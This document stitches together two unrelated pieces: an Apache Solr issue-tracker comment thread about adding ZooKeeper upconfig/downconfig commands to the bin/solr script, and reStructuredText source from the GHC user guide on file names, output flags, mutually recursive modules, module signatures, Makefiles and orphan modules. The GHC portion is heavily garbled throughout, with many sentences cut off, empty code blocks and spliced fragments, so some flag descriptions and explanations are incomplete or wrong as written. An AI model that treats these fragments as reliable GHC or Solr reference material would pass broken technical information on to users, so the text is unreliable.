I know the Windows stuff is a major pain, but this addition shouldn't be much more than copy-paste in a few key areas, but then there's the testing. I usually spin up an instance in EC2 to do my Windows testing, so I can help test.
Timothy Potter Rats! I thought about the windows command file on Saturday but then forgot it completely. Siiigggh. I'll take you up on the testing bits. Thanks for reminding me.
Varun Thacker.
I did struggle a bit with whether or not to leave all the fieldTypes defined but in the end decided to leave them in. I became convinced that in managed schema mode they're actually more important than in the manually-edited examples we've been shipping for so long.
bq: If there not being another 5.x release a motive here.
I'll defer to the release manager here and he's spoken. It's not going in 5.4.
Upayavira OK, not going in 5.4
Updated patch with Windows support.
WARNING: this hasn't been tested yet as I don't have a handy Windows environment. I'll spin up an EC2 instance sometime if someone doesn't beat me to it..
SOLR-8131 doesn't default to schemaless mode. It defaults to managed schema mode , meaning the Schema APIs will be available to everyone to modify fields/fieldTypes etc. The type guessing is only part of the data_driven example like before.
Some thoughts:
I'm on board with having useful commands in one place rather than requiring end users know about zkcli. That said, I don't think adding more uncategorized comands to the same script is the correct way to go. In our distribution (CDH) we have had script that does a bunch of different actions on solr/zk and I've found it's pretty confusing to users what command actually goes where. Ideally the users wouldn't have to know that sort of information (at least when starting up, but I think quickstart is a different enough use case to warrant special consideration), but that's just not practical – consider if the configs znode has ACLs enabled – you need to pass a reasonable endpoint-specific error message back to the user, you have to have an end-point specific mechanism to pass kerberos credentials (does this script work in a secure environment)?, etc. So what will happen if we continue along this path is we'll have a bunch of different useful commands where it is unclear to users what information they actually need to provide without looking it up each time. Heck, I wrote a lot of the commands in our distribution and I get confused
.
So, my suggestion is that we break up the commands into "subtopics" based on the endpoint (the solr http endpoint can be an unnamed default). So long story short, I'd argue for naming these:
zk upconfig
zk downconfig
or something like that.
Just the other day, I was silently cursing the fact that zkcli was buried in a deep directory under server, rather than living in the bin directory.
zk upconfig
zk downconfig
Assuming that I understand what you're proposing correctly, the command name you've decribed (zk) is very simple. Perhaps more important, it is unlikely to be confused with the zkCli script that comes with zookeeper, which causes confusion with some users trying to use zkcli. I do wonder if maybe it should be name something like zksolr instead, so the fact that it's tied to solr is more obvious. The "zk" name is very acceptable, unless Solr is packaged to LSB standards and the scripts end up someplace like /usr/bin, in which case it will be confusing.
I think what Greg is suggesting is that there still be bin/solr as the main entry point, but you can invoke it as solr zk upconfig and solr zk downconfig. Then maybe someday we add solr zk foo and everything is happily namespaced. This is the same pattern that Hadoop used for a while, although they eventually split into multiple executables IIRC.
This discussion is related to SOLR-7074 and SOLR-7233 where we discuss moving zkcli.sh to bin and renaming it as bin/zk, and also let it have the ability to start standalone zookeeper.
I'm a bit back and forth to what I think is best here. It sounds nice to keep all ZK related things in a new bin/zk, but then if that script is able to bin/zk start, bin/zk stop, bin/zk status etc, then it feels odd to mix in upconfig/downconfig since those are solr-specific and client type of operations. So I'm leaning towards letting bin/solr take care of the solr-specific Zk interaction, so the sequence of events, if we implement SOLR-7074 will be:
bin/zk start # We could let it sniff ZK_HOST from solr.in.sh? bin/solr start bin/solr zk upconfig -d path/to/config -n myconf bin/solr create -c mycoll -n myconf
I changed the code to "namespace" the ZK stuff, good suggestions!
I'll upload a patch today/tomorrow I hope, need to get the junk working on AWS for testing Windows....
I think this is ready. I finally got an AWS Windows instance to test the Windows and it seems to check out.
I still have to precommit and test, but if all that goes well I'll probably be committing this tomorrow morning.
BTW, this incorporates the "zk" namespace idea, so examples of using this are
bin/solr zk -upconfig -d directory -n name -z localhost:2181
bin/solr zk -downconfig -d directory -n name -z localhost:2181
"directory" in the upconfig command can be one of the pre-configured configsets.
And of course I thought of some wording I wanted to change in the help text right after putting the other patch up.
Just a thought - could it be possible to have a -c collection-name parameter to the upconfig command, and issue a collections API call to reload that collection once the configs have been uploaded? This would improve ease of use substantially.
Jan's comments are well taken, and besides I'm about to check this in
The new UI already has the reload button for collections, so I think that covers it for now. I think if anything I'd prefer to add a "reload" operation to the start script rather than have reloading the collection become a side-effect of upconfig, but I'm not even really wild about that.
We can always raise another JIRA
I'm happy with Jan's suggestion of an option to the bin/solr command. Basically, what I want to avoid is context switching. If you are at the command line, let that task be completable at the command line, rather than requiring a command line request for half, and an API call or UI click for the rest.
Commit 1719099 from Erick Erickson in branch 'dev/trunk'
[ ]
SOLR-8378: Add upconfig and downconfig commands to the bin/solr script
Commit 1719119 from Erick Erickson in branch 'dev/branches/branch_5x'
[ ]
SOLR-8378: Add upconfig and downconfig commands to the bin/solr script
First cut, seems to work on a very quick once-over. I need to look it over with fresh eyes, it's Saturday after all....
Any comments on the approach? Or whether this is worth doing? Unless there are objections I'm going to check this in next week sometime after some more polish.
One thing I'm not too happy about is that I moved the upconfig method from CreateCollectionTool to the base class so I could easily re-use it in the new ConfigSetUploadTool. Any suggestions? It needed access to the "echo" method so unless we rearrange things significantly it's easier this way.
Upayavira I'm torn on whether to put this in 5.4. Maybe I'll put it in if there's a re-spin? What do you think? The necessity of using zkcli has long rankled me as it's yet another thing a new person has to understand. But one point of releases is to try to not shoehorn lots of stuff in at the last minute.
I suppose a lot of it depends on whether there'll be a 5.5 release. I'd really like to get this in place in the 5x code line somewhere.
Upayavira | https://issues.apache.org/jira/browse/SOLR-8378 | CC-MAIN-2016-36 | refinedweb | 1,980 | 70.43 |
.. _separate-compilation:
Filenames and separate compilation
==================================
.. index::
single: separate compilation
single: recompilation checker
single: make and recompilation.
.. _source-files:
Haskell source files
--------------------
.. index::
single: file names; of source files.
.. index::
single: Unicode
single: UTF-8
single: ASCII
single: Latin-1
single: encodings; of source files.
.. _output-files:
Output files
------------
.. index::
single: interface files
single: .hi files
single: object files
single: .o files :ghc-flag:`--show-iface` option
instead (see :ref:`hi ``-odir`` option (the default), then the object
filename is derived from the source filename (ignoring the module
name) by replacing the suffix with ⟨osuf⟩.
- If ``-odir ⟨dir⟩`` has :ghc-flag:`-hidir` and :ghc-flag:`-hisuf` instead of
:ghc-flag:`-odir` and :ghc-flag:` :ref: :ghc-flag:`-o` option, and the name of the interface file
can be specified directly using the :ghc-flag:`-ohi` option.
.. _search-path:
The search path
---------------
.. index::
single: search path
single: interface files, finding them
single: finding interface files
In your program, you import a module ``Foo`` by saying ``import Foo``.
In :ghc-flag:`--make` mode or GHCi, GHC will look for a source file for ``Foo``
and arrange to compile it first. Without :ghc-flag:`- :ghc-flag:`--make` mode or GHCi, or ⟨hisuf⟩ otherwise.
For example, suppose the search path contains directories ``d1``,
``d2``, and ``d3``, and we are in :ghc-flag:`-:
.. ghc-flag:: -i⟨dir⟩[:⟨dir⟩]*
.. index::
single: search path; source code
This flag appends a colon-separated list of ``dirs`` to
the search path.
.. ghc-flag:: -i
resets the search path back to nothing.
This isn't the whole story: GHC also looks for modules in pre-compiled
libraries, known as packages. See the section on packages
(:ref:`packages`) for details.
.. _options-output:
Redirecting the compilation output(s)
-------------------------------------
.. index::
single: output-directing options
single: redirecting compilation output
.. ghc-flag:: -o ⟨file⟩
GHC's compiled output normally goes into a ``.hc``, ``.o``, etc.,
file, depending on the last-run compilation phase. The option
``-o file`` re-directs the output of that last-run phase to ⟨file⟩.
.. note::
This “feature” can be counterintuitive: ``ghc -C -o foo.o foo.hs``
will put the intermediate C code in the file ``foo.o``, name
notwithstanding!
This option is most often used when creating an executable file, to
set the filename of the executable. For example:
.. code-block:: none``).
.. ghc-flag:: -odir ⟨dir⟩
Redirects object files to directory ⟨dir⟩. For example:
$ ghc -c parse/Foo.hs parse/Bar.hs gurgle/Bumble.hs -odir `uname -m```.
.. ghc-flag:: -ohi ⟨file⟩.
.. ghc-flag:: -hidir ⟨dir⟩
Redirects all generated interface files into ⟨dir⟩, instead of the
default.
.. ghc-flag:: -stubdir ⟨dir⟩
Redirects all generated FFI stub files into ⟨dir⟩. Stub files are
generated when the Haskell source contains a ``foreign export`` or
``foreign import "&wrapper"`` declaration (see
:ref:`foreign-export-ghc`). The ``-stubdir`` option behaves in
exactly the same way as ``-odir`` and ``-hidir`` with respect to
hierarchical modules.
.. ghc-flag:: -dumpdir ⟨dir⟩
Redirects all dump files into ⟨dir⟩. Dump files are generated when
``-ddump-to-file`` is used with other ``-ddump-*`` flags.
.. ghc-flag:: -outputdir ⟨dir⟩
The ``-outputdir`` option is shorthand for the combination of
:ghc-flag:`-odir`, :ghc-flag:`-hidir`, :ghc-flag:`-stubdir` and :ghc-flag:`-dumpdir`.
.. ghc-flag:: -osuf ⟨suffix⟩
-hisuf ⟨suffix⟩
-hcsuf ⟨suffix :ref:`hi-options`).
Finally, the option ``-hcsuf`` ⟨suffix⟩.
.. _keeping-intermediates:
Keeping Intermediate Files
--------------------------
.. index::
single: intermediate files, saving
single: .hc files, saving
single: .ll files, saving
single: .s files, saving
The following options are useful for keeping (or not keeping) certain
intermediate files around, when normally GHC would throw these away after
compilation:
.. ghc-flag:: -keep-hc-file
-keep-hc-files
Keep intermediate ``.hc`` files when doing ``.hs``-to-``.o``
compilations via :ref:`C <c-code-gen>` (Note: ``.hc`` files are only
generated by :ref:`unregisterised <unreg>` compilers).
.. ghc-flag:: -keep-hi-files
.. index::
single: temporary files; keeping
Keep intermediate ``.hi`` files. This is the default. You may use
``-no-keep-hi-files`` if you are not interested in the ``.hi`` files.
.. ghc-flag:: -keep-llvm-file
-keep-llvm-files
:implies: :ghc-flag:`-fllvm`
Keep intermediate ``.ll`` files when doing ``.hs``-to-``.o``
compilations via :ref:`LLVM <llvm-code-gen>` (Note: ``.ll`` files
aren't generated when using the native code generator, you may need
to use :ghc-flag:`-fllvm` to force them to be produced).
.. ghc-flag:: -keep-o-files
.. index::
single: temporary files; keeping
Keep intermediate ``.o`` files. This is the default. You may use
``-no-keep-o-files`` if you are not interested in the ``.o`` files.
.. ghc-flag:: -keep-s-file
-keep-s-files
Keep intermediate ``.s`` files.
.. ghc-flag:: -keep-tmp-files
.. index::
single: temporary files; keeping
Instructs the GHC driver not to delete any of its temporary files,
which it normally keeps in ``/tmp`` (or possibly elsewhere; see
:ref:`temp-files`). Running GHC with ``-v`` will show you what
temporary files were generated along the way.
.. _temp-files:
Redirecting temporary files
---------------------------
.. index::
single: temporary files; redirecting
.. ghc-flag:: .
.. index::
single: TMPDIR environment variable
Alternatively, use your :envvar:`TMPDIR` environment variable. Set it to the
name of the directory where temporary files should be put. GCC and other
programs will honour the :envvar:`TMPDIR` variable as well.
.. _hi-options:
Other options related to interface files
----------------------------------------
.. index::
single: interface files, options
.. ghc-flag:: -ddump-hi
Dumps the new interface to standard output.
.. ghc-flag:: -ddump-hi-diffs
The compiler does not overwrite an existing ``.hi`` interface file
if the new one is the same as the old one; this is friendly to
:command:`make`. When an interface does change, it is often enlightening to
be informed. The :ghc-flag:`-ddump-hi-diffs` option will make GHC report the
differences between the old and new ``.hi`` files.
.. ghc-flag:: -ddump-minimal-imports
Dump to the file :file:`{M}.imports` (where ⟨M⟩ is the name of the module
being compiled) a "minimal" set of import declarations. The
directory where the ``.imports`` files are created can be controlled
via the :ghc-flag:`-dumpdir` option.
You can safely replace all the import declarations in :file:`{M}.hs` with
those found in its respective ``.imports`` file. Why would you want
to do that? Because the "minimal" imports (a) import everything
explicitly, by name, and (b) import nothing that is not required. It
can be quite painful to maintain this property by hand, so this flag
is intended to reduce the labour.
.. ghc-flag:: --show-iface ⟨file⟩
where ⟨file⟩ is the name of an interface file, dumps the contents of
that interface in a human-readable format. See :ref:`modes`.
.. _recomp:
The recompilation checker
-------------------------
.. index::
single: recompilation checker
.. ghc-flag:: -fforce.
.. _mutual-recursion:
How to compile mutually recursive modules
-----------------------------------------
.. index::
single: module system, recursion
single: recursion, between modules:
.. code-block:: none``:
.. code-block:: none an pseudo-object file ``A.o-boot``:
- The pseudo-object file ``A.o-boot`` is empty (don't link it!), but
it is very useful when using a Makefile, to record when the
``A.hi-boot`` was last brought up to date (see :ref:`using-make`).
- The ``hi-boot`` generated by compiling a ``hs-boot`` file is in
the same machine-generated binary format as any other
GHC-generated interface file (e.g. ``B.hi``). You can display its
contents with ``ghc --show-iface``. If you specify a directory for
interface files, the ``-ohidir`` flag, then that affects ``hi-boot`` files
too.
-``\'s`` clause '=' sign and
everything that follows. For example: ::
data T a b
In a *source* program this would declare TA to have no constructors
(a GHC extension: see :ref:`nullary-types`), (:ref:`kinding`),
:ref:`roles`.)
.. _module-signatures:
Module signatures
-----------------
.. index::
single: signature files; Backpack; hsig files`` file, exports and defined entities of
a signature include not only those written in the local
``hsig`` file, but also those from inherited signatures
(as inferred from the :ghc-flag:`-package-id` flags).
These entities are not considered in scope when typechecking
the local ``hsig`` file,
- The export list of a signature applies the final export list
of a signature after merging inherited signatures; in particular, it
may refer to entities which are not declared in the body of the
local ``hsig`` file. The set of entities that are required by a
signature is defined exclusively by its exports; if an entity
is not mentioned in the export list, it is not required. This means
that a library author, but are associated with
a warning discouraging their use by a module. To use an entity
defined by such a signature, add its declaration to your local
``hsig`` file.
- A signature can reexport an entity brought into scope by an import.
In this case, we indicate that any implementation of the module
must export this very same entity. For example, this signature
must be implemented by a module which itself reexports ``Int``::
signature A (Int) where
import Prelude (Int)
-- can be implemented by:
module A (Int) where
import Prelude (Int)
Conversely, any entity requested by a signature can be provided
by a reexport from the implementing module. This is different from
``hs-boot`` files, which require every entity to be defined
locally in the implementing module.
- The declarations and types from signatures of dependencies
that will be merged in are not in scope when type checking
an ``hsig`` file. ``A`` would have to export the function
``double`` with a type definitionally equal to the signature.
Note that this means you can't implement ``double`` using`` clause distinguishes closed families
from open ones.
- A data type declaration can either be given in full, exactly
as in Haskell, or it can be given abstractly, by omitting the '='`` or ``type``
declarations.`` from the
inherited signature as if it returned a ``Char``.
If you do not write out the constructors, you may need to give
a kind and/or role annotation to tell GHC what the kinds or roles
of the type variables are, if they are not the default (``*`` and
representational). It will be obvious if you've gotten it wrong when
you try implementing the signature.
- :ghc-ticket:`` for ``[]`` and ``Char`` which:
- Algebraic data types specified in a signature cannot be implemented using
pattern synonyms. See :ghc-ticket:`12717`
.. _using-make:
Using ``make``
--------------
.. index::
single: make; building programs with
It is reasonably straightforward to set up a ``Makefile`` to use with
GHC, assuming you name your source files the same as your modules. Thus:
.. code-block:: makefile :command:`make` variants may achieve some of the above more
elegantly. Notably, :command:`gmake`\'s pattern rules let you write the more
comprehensible:
.. code-block::
:ref:`mutual-recursion`).
Note also the inter-module dependencies at the end of the Makefile,
which take the form
.. code-block:: make :ref:`makefile-dependencies`
.. _makefile-dependencies:
Dependency generation
---------------------
.. index::
single: dependencies in Makefiles
single: Makefile dependencies.
.. code-block:: make :ref:`mutual-recursion` for details of ``hi-boot`` style:
.. ghc-flag:: -ddump-mod-cycles
Display a list of the cycles in the module graph. This is useful
when trying to eliminate such cycles.
.. ghc-flag:: -v2
:noindex:
Print a full list of the module dependencies to stdout. (This is the
standard verbosity flag, so the list will also be displayed with
``-v3`` and ``-v4``; see :ref:`options-help`.)
.. ghc-flag:: -dep-makefile ⟨file⟩``.
.. ghc-flag:: -dep-suffix <suf>
Make extra dependencies that declare that files with suffix
``.<suf>_<osuf>`` depend on interface files with suffix
``.<suf>_hi``, or (for ``{-# SOURCE #-}`` imports) on ``.hi-boot``.
Multiple ``-dep-suffix`` flags are permitted. For example,
``-dep-suffix a -dep-suffix b`` will make dependencies for ``.hs``
on ``.hi``, ``.a_hs`` on ``.a_hi``, and ``.b_hs`` on ``.b_hi``.
(Useful in conjunction with NoFib "ways".)
.. ghc-flag:: --exclude-module=<file>
Regard ``<file>`` as "stable"; i.e., exclude it from having
dependencies on it.
.. ghc-flag:: -include-pkg-deps.
.. _orphan-modules: :ref:`instance-rules`), ``M`` is``.
If you use the flag :ghc-flag:`-Worphans`, GHC will warn you if you are
creating an orphan module. Like any warning, you can switch the warning
off with :ghc-flag:`-Wno-orphans <-Worphans>`, and :ghc-flag:`-Werror` will make
the compilation fail if the warning is issued.
You can identify an orphan module by looking in its interface file,
``M.hi``, using the :ghc-flag:`--show-iface` :ref:`mode <modes>`. If there is a
``[orphan module]`` on the first line, GHC considers it an orphan
module.
.. [1]
This is a change in behaviour relative to 6.2 and earlier. | https://gitlab.haskell.org/ghc/ghc/-/blame/a4ccd330273ccfd136481ee82ae9495f5dd5f146/docs/users_guide/separate_compilation.rst | CC-MAIN-2021-43 | refinedweb | 2,056 | 58.99 |
Experimental in-memory data flow pipelines.
Project description
Experiments in data flow programming.
After some experimentation, Apache Beam’s Python SDK got the API right. Use that instead.
Standard Word Count Example
Grab the 5 most common words in LICENSE.txt
from collections import Counter from tinyflow.serial import ops, Pipeline pipe = Pipeline() \ | "Split line into words" >> ops.flatmap(lambda x: x.lower().split()) \ | "Remove empty lines" >> ops.filter(bool) \ | "Produce the 5 most common words" >> ops.counter(5) \ | "Sort by frequency desc" >> ops.sort(key=lambda x: x[1], reverse=True) with open('LICENSE.txt') as f: results = dict(pipe(f))
Using only Python’s builtins:
from collections import Counter import itertools as it with open('LICENSE.txt') as f: lines = (line.lower().split() for line in f) words = it.chain.from_iterable(lines) count = Counter(words) results = dict(count.most_common(10))
Developing
$ git clone $ cd tinyflow $ pip install -e .\[all\] $ pytest --cov tinyflow --cov-report term-missing
License
See LICENSE.txt
Changelog
See CHANGES.md
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
tinyflow-0.1-py2.py3-none-any.whl (10.9 kB view hashes) | https://pypi.org/project/tinyflow/ | CC-MAIN-2022-21 | refinedweb | 212 | 55.71 |
I am using python-docx to output a Pandas DataFrame to a Word table. About a year ago, I wrote this code to build that table, which worked at the time:
table = Rpt.add_table(rows=1, cols=(df.shape[1]+1))
table.style = 'LightShading-Accent2'
Rpt
KeyError: "no style with name 'LightShading-Accent2'"
Yes, slightly, apologies for that, but it was the right long-term decision for the API.
Try using "Light Shading - Accent 2" instead. It should be the name just as it appears in the Word user interface (UI).
If you still can't get it, you can enumerate all the style names with something like this:
from docx import Document document = Document() styles = document.styles for style in styles: print "'%s' -- %s" % (style.name, style.type)
If you want to narrow it down a bit, say to only table styles, you can add this:
from docx.enum.style import WD_STYLE_TYPE styles = [s for s in document.styles if s.type == WD_STYLE_TYPE.TABLE] for style in styles: print(style.name)
The printed names will give you the exact spellings. | https://codedump.io/share/zZvttnc5sOi9/1/python-docx-style-format | CC-MAIN-2017-04 | refinedweb | 181 | 75 |
EJB Books
is getting all the various server-side Java APIS to work
together. The coverage of Servlets and Java Server Pages and all the associated technologies...
EJB Books
Ajax Books
Ajax Books
AJAX - Asynchronous JavaScript and XML - some books and resource links
These books... Java+XML books under his belt and the Freemans are responsible for the excellent
Books Of Java - Java Beginners
Books Of Java Which Books Are Available for Short / Quick Learning
Misc.Online Books
recovery techniques. Unlike most books, it treats (almost) all parsing methods...
Misc.Online Books
How
to be a Programmer
To be a good... it in simple java code meanwhile using some inbuilt function with control flow conditions
Struts Books
for you Java programmers who have some JSP familiarity, but little or no prior...
Covers all of the bare bones and some of the guts of the topic in 125 pages...;
Java
Books Struts in Action
While many Struts
J2ME Books
and different on smaller Java devices. This title is all you need to get started... a list of all the J2ME related books I know about. The computer industry is fast...;
Books: Java Platform, Micro Edition
Java
MySQL Books
;
Larry Ullman's Books
On this page you will find all of the books written... Book List
The following are some of the SQL books we have drawn from...
MySQL Books
List of many
JSF Books
.
Books
of Core java Server Faces...JSF Books
Introduction
of JSF Books
When we
Free JSP Books
.
Servlets are an exciting and important technology that ties Java...Free JSP Books
Download the following JSP books
important
important programming in java to find the number of different notes and coins in given amount by user
Java XML Books
Here are some books currently in print and soon anticipated about XML. All books...
Java XML Books
Java
and XML Books
One night
Java Programming Books
Java Programming Books
... cannibalizing sales. However, this book has done better than all the other books... WSDP). The Java WSDP is an all-in-one download containing key technologies
Free Java Books
Free Java Books
Sams Teach Yourself Java 2 in 24 Hours
As the author of computer books, I spend a lot... these guidelines, you can create Java applications that effectively support all users
Oracle Books
, these books are all being published because there really is a big demand for good database books. To exploit these opportunities, however, some preparation...
Oracle Books
which data structure is good in java..? - Java Beginners
which data structure is good in java..? Hi frends,
Actually i want to store and retrieve some data using data structures like array list, stack and vector ...etc........ i wanted to know, which technique is good to store
Java Reference Books
Java Reference
Books
...;
Java in a Nutshell : A Desktop Quick Reference... an efficiently organized guide to the most important Java classes and APIs
Tomcat Books
not saying Wrox? books were all bad (I am a long time Wrox author myself...
examples. This book contains some good information. However, it's clear...
Tomcat Books
Java Certification Books
Java Certification Books
... that are part of the Java certification exam. For some topics the description may be a little brief and you may want to refer to some Java Certification
Java Beans Books
Java Beans Books
... Beans is the most important new development in Java this year. Beans is the next... writing any Java code
- in fact, without doing any programming at all
Servlets Books
at Web developers with some previous Java experience, Java Servlet Programming...;
Developing
Java Servlets Books
For Java developers... presents this important technology for proficient Java developers; however, don't
Quick Sort In Java
Quick Sort in Java
...;java QuickSort
RoseIndia
Quick Sort... to sort integer values of an array using quick
sort.
Quick sort algorithm
Java server Faces Books
Java server Faces
Books
Java
server Faces...;
Store-Java
Buy two books direct from O'Reilly and get
Tomcat Quick Start Guide
Tomcat Quick Start Guide
This tutorial is a quick reference of starting development application using JSP, Servlets and JDBC technologies. In this quick and very
important topics to prepare for java interview
important topics to prepare for java interview hi friends
can anyone tell what are the important topics to prepare for java interview????
Each and every topic is important for an interview. You can find some... in Java works?
Quick Sort algorithm works on comparison sort that means.... At the end, all the arrays are merged.
Quick Sort does not require allocation
What is most important features of Java
What is most important features of Java Hi,
What is the most important features of Java?
Thanks
Hi,
The latest version of Java 7 having some most important features like Java virtual Machine, Language updates... in details about good tutorials for beginners in Java with example?
Thanks.
Hi, want to be command over Java, you should go on the link and follow
Struts Quick Start
Struts Quick Start
Struts Quick Start to Struts technology
In this post I will show you how you can quick start the development of you
struts based project...
applications in Java technology. Struts is one of the most used framework
Open Source Books
books has grown since then, and The Assayer is a good place to find them... electronic books: it's good manners, but not mandatory to inform the author...
Open Source Books
Open Books
O'Reilly has published a number
Programming Books
Java Programming
Books
JSP Programming Books...
Java Sever Faces Books
J2EE Design Patterns Books
Servlets Books
Free Java Books
Free JSP Books
java script books - Design concepts & design patterns
java script books Hi All,
How are u?
My Question is related to java script , what is the best book for javaScript (core and the advance feature).
and also send me the name of WebSites.
thanks and regards
Why application server is important?
Why application server is important? Hi,
I have to select the good application server for running my Java based web applications. Which application server or tomcat container is good to run the application. On my website
HTML Books
HTML Books
HTML
Quick Reference Guide Books... weaver, HomeSite, TopStyle, and more. Know of some good articles, tutorials, tips
Ada Books
will help you avoid some common pitfalls. Most of all, I hope I can help you fill...
Ada Books
... to Java and execution speeds similar to and sometimes exceeding C. gnat
Important Interview Questions in Core Java
Important Interview Questions in Core Java
Core Java refers to the fundamentals of Java, necessary to learn all essential components for being a Java....
It is not possible to anyone to cover all essential core java questions
Good Looking Java Charts and Graphs
Good Looking Java Charts and Graphs Is there a java chart library that will generate charts and graphs with the quality of visifire or fusion charts?
The JFreeChart graph quality is not professional looking. Unless it can
Perl Programming Books
Perl Programming Books
...
This book is a work in progress. I have some ideas about what will go into the next few... programming projects that highlight some of the moderately advances features of Perl, like
Important Java Interview Question
Important Java Interview Question Complete the Solver constructor so that a call to solveAll return a list with 2 values including the square root and the inverse of the integer passed as parameter.
public interface
XML Books
XML Books
Processing XML with Java
Welcome to Processing XML with Java, a complete tutorial about writing Java programs that read
Important - Java Beginners
Important Character into string vaariable How to store the character variable into string format? Hi friend,import java.io.*;import.../java
CORBA and RMI Books
CORBA and RMI
Books
Client/Server Programming with Java and CORBA
The standard by which all other CORBA books are judged, Client
hi all - Java Beginners
hi all hi,
i need interview questions of the java asap can u please sendme to my mail
Hi,
Hope you didnt have this eBook. You.../Good_java_j2ee_interview_questions.html?s=1
Regards,
Prasanth HI
Free JSP Books
introduced Java ServerPages, some were quick to claim that Servlets had been replaced.... For all the latest information on J2EE, including documentation relating to some...
Free JSP Books
JSP PDF books
JSP PDF books
Collection is jsp books in the pdf format. You can download these books
and study it offline.
The Servlets
HOW TO BECOME A GOOD PROGRAMMER
HOW TO BECOME A GOOD PROGRAMMER I want to know how to become good programmer
Hi Friend,
Please go through the following link... learn java easily and make a command over core java to proceed further.
Thanks
Java beginners Course
Java course helps novices to learn the language in a very easy and quick manner... 24x7
online. All they need is to send their query and Java programmers...Java beginners course at RoseIndia is one of the best way to learn Java
JSP Programming Books
ServerPages, some were quick to claim that Servlets had been replaced... approach that made his Graphic Java books into worldwide best sellers..., and even publishing complete books. Here is a current listing of all the available
In this section of sitemap we have listed all the important sections of java tutorials.
Select the topics you want to learn.
We have given the important links of Java, JSP, Struts
Struts Book - Popular Struts Books
; in fact, some people consider it the yardstick by which all other Web application...
Struts Book - Popular Struts Books
Programming Jakarta... potential. He calls the books, "the culmination of lessons learned (the hard way
Web Sphere Books
;
Introduction to Java Using WebSphere
Books
A step-by-step, hands...;
Enterprise
Java Programming With IBM WebSphere Books...-volumeresource for getting on board with some of the best ideas on the Java platform
Java Script Programming Books
Java Script
Programming Books
Sams
Teach Yourself Java... get me wrong. Some of us enjoy that sort of thing.)
Java: Java Tutorials
the most important language of our time. Joe Grip's Interactive Guide to Java... to do the course projects. This course will assume that all students are Java... the main concepts in using XML
in Java. A good way to learn is by
hands
Quick Hibernate Annotation Tutorial
Table mapping. All the metadata is
clubbed into the POJO java file along... information in Hibernate. The Java 5 (Tiger) version has
introduced a powerful way.... Annotation is the java class which is read through
reflection mechanism during
i need a quick response about array and string...
i need a quick response about array and string... how can i make a dictionary type using array code in java where i will type the word then the meaning will appear..please help me..urgent
Visual Basic Books
Visual Basic Books
... degree in corporate finance. He is the author or co-author of more than 50 books... Guide to C, and Moving from C to C++, all by Macmillan Computer Publishing. He also
The quick overview of JSF Technology
;
The quick Overview of JSF Technology
This section gives you an overview of Java
Server Faces technology, which simplifies the development of Java
Based web applications. In this JSF
VoIP Books
VoIP Books
VoIP Books Voice over IP
With a potential 90 percent... there for making basic get-going decisions.
This chapter explores some....
Practical VoIP Using VOCAL
While many books describe the theory
Writing Quick Articles Using Information in Public Domain
Writing Quick Articles Using Information in Public Domain
Books, articles as well as other... material. Some of these authors prefer copyrighting their material while others
Java: Some problems in given condition
Java: Some problems in given condition SIR, I want to get the values from the table( database), if any one of the column of the table value is 0. Then one alert should b printed in application using Java.
If(att.getdata1()==0
VoIP Books
VoIP Books
Practical VoIP book Using VOCAL
While many books describe... the source code.
Switching to VoIP
Books
More and Print the all components
Java Print the all components This is my code. Please tell me the solutions
import javax.swing.table.*;
import javax.swing.*;
import java.util.*;
import java.awt.*;
import java.awt.event.*;
import java.awt.print.*;
import
Ruby Books
, but is very powerful. Of course it can do all basics, like any toolkit, but some...
Ruby Books
... is "an interpreted scripting language for quick and easy object-oriented programming"; what does
Help please, some strange errors
Help please, some strange errors Sorry about this messy formatting. As a beginner in java i got no idea which part of the code is creating... game of two players with some basic things like moving the player on the game
Searching For Important Issues for Writing Articles
Searching For Important Issues for Writing Articles
People all over the world like to read... important issues depends on the following things:
About what industry do you
Java Training Online
make online Java class good
options to learn online Java Training, one...Java Training Online
The increasing use of Java in IT industry has opened floodgates of
opportunities for those, trend in Java and its various applications
Java replace all non alphanumeric
Java replace all non alphanumeric Hi,
In Java how to replace all non alphanumeric characters with blank? Share me the best code for java replace all non alphanumeric.
Thanks
Hi,
You can use the replaceAll
important for all beginers
important for all beginers what is the difference for top down approach and bottom up approach with a example program of source code with clear explanation
JavaScript - JavaScript Tutorial
of the best Quick
reference to the JavaScript. In this JavaScript reference you will find most of
the things about java script. JavaScript tutorial is classified... with the Java Scripting language. You will learn
the benefits of using JavaScript
Java Glossary Term - M - Java Important Terms - Java Programming Glossary
M
Java Map
In Java, a Map is a kind of generalized array. It
provides a more... duplicate keys.
Java Mail
JavaMail includes APIs
quick sort
quick sort sir, i try to modify this one as u sugess me in previous answer "array based problem" for run time input.but i am facing some problem.plz... static void quick_srt(int array[],int low, int n){
int lo = low;
int hi
C# Programming Books
C# Programming Books
...
All rights reserved. No part of this publication may be reproduced.... They will show you the most important code features and explain how you can use
Most Important Areas of SEO Strategy
your link scheme is the second most important one to put you either on good...In presenting here the most important areas of SEO strategy we must note the faster pace that the SEO practices are changing. All search engines
java
java Hi good Morning
wil u please give me the some of the examples of java connection to the database to the java program
Hello Friend,
Please visit the following link:
Java Database Connectivity
Here you
Accessing database from JSP
take a example of Books database. This database
contains a table named books... that we write a html page for
inserting the values in 'books_details' table...; and it contains
information about books names & authors.
Table:books
PLZ Need some help JAVA...HELP !!
PLZ Need some help JAVA...HELP !! Create a class names Purchase Each purchase contains an invoice number, amount of sale and amount of sales tax. Include set methods for the invoice number and sale amount. Within the set
Java
Java Create a Java class that can be used to store inventory..., the price, and the number of books in stock. The class you create should include a printDetails() method (function) which displays a report that shows all
java
java I have good knowledge of java core can you please give me some coding problem to solve that in order to give me money i am very poor having pc and internet connection only,or can you provide me a chance to work in you
Java Application for Book Store
Java Bookstore Application
In this Java Tutorial section, we have created a Java Bookstore Application through which a customer can buy books and online pay... the total amount that a customer has to pay for all books he bought and receive
Java - Array in Java
Array Example - Array in Java
Array: Array is the most important thing in any programming...;
int num[]; or int num = new
int[2];
Some times user declares an array
java
java Please send me some question and answers regarding interview .....
Hi Anitha,
Please go through the below blog, you will get some information related to Java like.
All
java
java please suggest me the best books for learning efficient java
Quick introduction to web services
Quick introduction to web services
Introduction:
Web services...
talk to java web services and vice versa. So, Web services are used
Free JSP download Books
;
Java Servlets and JSP
free download books... required the use of several books as well as online tutorials and the Java... Beginning Java 2, you can master all the skills that you need to develop Java web | http://www.roseindia.net/tutorialhelp/comment/81571 | CC-MAIN-2015-11 | refinedweb | 2,863 | 63.19 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.